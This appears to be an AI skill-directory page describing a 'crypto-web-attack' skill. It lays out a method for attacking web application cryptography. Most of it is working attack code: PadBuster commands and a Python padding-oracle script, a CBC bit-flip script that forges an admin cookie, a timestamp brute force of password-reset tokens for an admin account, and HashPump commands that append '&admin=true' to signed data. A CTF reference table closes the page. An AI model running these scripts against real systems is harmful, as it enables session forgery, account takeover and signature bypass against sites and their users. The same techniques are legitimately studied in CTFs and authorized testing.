SuperAPI AI Directory

crypto-web-attack

General & other

View repository

Updated 10-16 09:50

About this skill

Web Cryptography Attack Methodology

Cryptographic attacks in web applications do not require breaking the algorithm itself, but rather exploitimplementation flaws—error message leakage, predictable random numbers, improper use of encryption modes.

⛔ In-depth reference (required reading)

Phase 1: Padding Oracle Attack

Identification: Returns different errors on decryption failure (200 vs 500 vs 302). Entry points: encrypted Cookies, encrypted URL parameters.

Key characteristics:

  • Modify a certain byte of the ciphertext → returns 500 (padding error)
  • Modify another byte of the ciphertext → returns 200 or 302 (padding correct but data wrong)
  • Different responses = Oracle exists

PadBuster tool usage (preferred)

# 安装(Perl 脚本)
apt install padbuster
# 或
git clone https://github.com/AonCyberLabs/PadBuster.git

# 1. 解密已有密文
padbuster http://target/api ENCRYPTED_TOKEN 16 -encoding 0
# 参数说明:
#   ENCRYPTED_TOKEN = 要解密的密文(hex 或 base64)
#   16 = block size(AES=16, DES=8)
#   -encoding 0 = hex, 1 = lowercase hex, 2 = base64, 3 = URL-encoded base64, 4 = Web-safe base64

# 2. Cookie 中的 Padding Oracle
padbuster http://target/ COOKIE_VALUE 16 \
    -cookies "session=COOKIE_VALUE" \
    -encoding 2  # base64

# 3. 加密自定义明文(伪造 Cookie)
padbuster http://target/ COOKIE_VALUE 16 \
    -cookies "session=COOKIE_VALUE" \
    -encoding 2 \
    -plaintext '{"user":"admin","role":"admin"}'

# 4. POST 请求中的 Padding Oracle
padbuster http://target/decrypt ENCRYPTED 16 \
    -post "data=ENCRYPTED" \
    -encoding 0

# 5. 指定 error pattern(非标准错误响应)
padbuster http://target/ TOKEN 16 \
    -error "Invalid padding" \
    -encoding 0

Python manual Padding Oracle (when PadBuster is unavailable)

#!/usr/bin/env python3
"""Padding Oracle 解密脚本"""
import requests

URL = "http://target/api"
BLOCK_SIZE = 16  # AES

def oracle(ciphertext_hex):
    """发送密文,判断 padding 是否正确"""
    r = requests.get(f"{URL}?token={ciphertext_hex}")
    # 根据实际情况调整判断条件
    return r.status_code != 500  # 500=padding error, 200=padding OK

def decrypt_block(prev_block, curr_block):
    """解密单个 block"""
    intermediate = bytearray(BLOCK_SIZE)
    plaintext = bytearray(BLOCK_SIZE)

    for pos in range(BLOCK_SIZE - 1, -1, -1):
        padding_val = BLOCK_SIZE - pos
        # 设置已知的 intermediate 值
        test = bytearray(BLOCK_SIZE)
        for k in range(pos + 1, BLOCK_SIZE):
            test[k] = intermediate[k] ^ padding_val

        for guess in range(256):
            test[pos] = guess
            test_hex = (bytes(test) + bytes(curr_block)).hex()
            if oracle(test_hex):
                intermediate[pos] = guess ^ padding_val
                plaintext[pos] = intermediate[pos] ^ prev_block[pos]
                break

    return bytes(plaintext)

# 使用:将密文按 BLOCK_SIZE 分块,逐块解密

→ Full principles and more scenarios → references/crypto-techniques.md

Phase 2: CBC Bit-Flip Attack

Modify the Nth ciphertext block byte → precisely flip the corresponding byte of the N+1th plaintext block.

Core formula:cipher[offset] ^= ord(原字符) ^ ord(目标字符)

Practical script

import base64

token = "BASE64_ENCRYPTED_COOKIE"
cipher = bytearray(base64.b64decode(token))

# 目标:将 "user" 翻转为 "admin" (假设在第二个 block)
# 修改第一个 block 的对应字节
offset = 0  # 根据实际明文位置计算
cipher[offset]     ^= ord('u') ^ ord('a')
cipher[offset + 1] ^= ord('s') ^ ord('d')
cipher[offset + 2] ^= ord('e') ^ ord('m')
cipher[offset + 3] ^= ord('r') ^ ord('i')
# 注意:第一个 block 的明文会被破坏(变成垃圾),但第二个 block 被精确修改

new_token = base64.b64encode(cipher).decode()
print(f"Forged token: {new_token}")

Note: The plaintext corresponding to the modified block will become garbage. If the application checks the data of that block, the attack will fail.

→ Detailed exploitation → references/crypto-techniques.md

Phase 3: Weak random numbers / predictable Tokens

Identification: Is the password reset Token based on a timestamp? Is the Session ID incremental? Is the CSRF Token predictable?

Timestamp brute force

import hashlib, time, requests

target_email = "admin@target.com"
# 获取"重置密码"请求的时间戳附近
reset_time = int(time.time())
for ts in range(reset_time - 60, reset_time + 60):
    token = hashlib.md5(f"{ts}{target_email}".encode()).hexdigest()
    r = requests.get(f"http://target/reset?token={token}")
    if r.status_code == 200 and 'expired' not in r.text:
        print(f"[+] Valid token: {token} (timestamp: {ts})")
        break

PHP mt_rand() prediction

# PHP 的 mt_rand() 可从输出推断种子
# 工具:php_mt_seed
php_mt_seed OUTPUT_VALUE
# 得到种子后预测后续输出

Phase 4: Hash length extension

Applicable conditions:

  • The server uses H(secret + message) signature (MD5/SHA1/SHA256)
  • You know message and H(secret + message)
  • You do not know secret

HashPump usage

# 安装
apt install hashpump
# 或 pip install hashpumpy

# 使用
hashpump -s ORIGINAL_HASH -d 'original_data' -a '&admin=true' -k SECRET_LENGTH
# SECRET_LENGTH 需要暴力枚举(通常 8-32)

# Python 版
import hashpumpy
for key_len in range(8, 33):
    new_hash, new_data = hashpumpy.hashpump(
        original_hash, 'original_data', '&admin=true', key_len
    )
    # 用 new_hash 和 new_data 发送请求测试

Not applicable:HMAC、SHA-3、BLAKE2。

Phase 5: CTF quick reference table

What you see Direction Tool
Encrypted Cookie + different errors Padding Oracle padbuster
role=user encrypted Cookie CBC Bit-flip Python XOR script
Password reset + short Token Weak random numbers Timestamp brute force script
sign=md5hash Hash length extension hashpump
eyJ... Base64 JSON JWT jwt cracking tool
PHP mt_rand() Seed prediction php_mt_seed
AES-ECB Cookie ECB block reordering Manual cut-and-paste